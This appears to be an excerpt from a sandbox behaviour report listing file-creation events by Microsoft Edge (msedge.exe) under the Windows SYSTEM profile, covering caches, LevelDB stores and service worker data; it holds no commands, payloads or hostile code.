Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF1f9767.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13381052068843973
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\9a7e03ce51b814d7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\8180e3c3a78ecd22_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\0e0de3ce351f8e6b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\9626a09b54b19df2_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage\d24b740d-fc22-49d9-84be-9b286ce41c73
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokens
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokens\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokens\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\heavy_ad_intervention_opt_out.db-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\000001.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\000003.log
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\MANIFEST-000002
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\000002.dbtmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT~RF1f9f17.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Network Action Predictor
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Network Action Predictor-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\cd2169f8f5a992de_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional Data
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional Data-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\WebAssistDatabase
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\WebAssistDatabase-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Last Browser
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional Data-wal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_hint_cache_store
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_hint_cache_store\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_hint_cache_store\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_model_and_features_store
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_model_and_features_store\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\optimization_guide_model_and_features_store\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\AutofillStrikeDatabase
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional SAN Data
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional SAN Data-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\AutofillStrikeDatabase\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\AutofillStrikeDatabase\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\PreferredApps
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\BudgetDatabase
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\BudgetDatabase\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\BudgetDatabase\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Functional SAN Data-wal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\EventDB
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\EventDB\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\EventDB\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\AvailabilityDB
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Feature Engagement Tracker\AvailabilityDB\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Download Service
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\Files
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\EntryDB
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\EntryDB\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\EntryDB\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Ad Blocking
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\4c8cad45-196d-4217-b0ab-447e9c6b9df0.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\b82c4dbbc2bbed92_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\2e0995500af195c4_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\b931fc6ff8856876_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\f0e758953c43c4db_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\4f7e5db733228f6d_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\99ce8290e829e155_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\c9a14d49161c54bd_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\fa00e0605e2f2a9a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\355018c0bc478789_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\29c4bbd1bfa0cc63_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\b9e5d9eb48353eef_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\3a12ecbf3e43ece7_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\be495402201abc59_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\fd9c59ef6bed1941_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\eac233f365c69025_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\038090926af56b05_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\373dd6c0efd32850_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\d8dd7116c41d75e8_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\b430a46d5f8b883a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\6038c11eb2cee93f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\5f23ac01b3b23511_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\863476f01ea8d40c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\fd3acb4df3be7f9b_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\4409578f8456196c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\709e3b670a25c685_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\f15696bde9e1789c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\19ca4fe1ee6a7a2c_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\f150d03c1d57b5df_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\aa9a6b283c8e83aa_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\3d01d920f09c5762_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\493146bb80205982_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\8ac78b8dd4cc4cb2_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\a6ef69d92350b333_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\4a87a79c6d77000a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\2318c14047c90430_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\76b3e43e4836f814_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\af8966ab9f9546d2_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\aad64f036172c1d5_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\fc42d9ea97e88d4a_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\b14bd987253be535_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\3d540aa27e82fa47_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\093e63eb63a8b292_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\86195d14ffd31e2f_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\76bd861a9a6f98d5_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\15df4f60a8d34ac6_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\QuotaManager
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\2626fa89-4318-493b-8eaf-6cbec6cc6cbc
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\QuotaManager-journal
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\2626fa89-4318-493b-8eaf-6cbec6cc6cbc\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\2626fa89-4318-493b-8eaf-6cbec6cc6cbc\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\2626fa89-4318-493b-8eaf-6cbec6cc6cbc\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\39336937-69b8-44f3-b3c6-2256654e23aa
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt.tmp
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\39336937-69b8-44f3-b3c6-2256654e23aa\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt~RF1fa90a.TMP
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOCK
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\39336937-69b8-44f3-b3c6-2256654e23aa\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\39336937-69b8-44f3-b3c6-2256654e23aa\index-dir\temp-index
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\bc10140ccc487cbf_0
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index
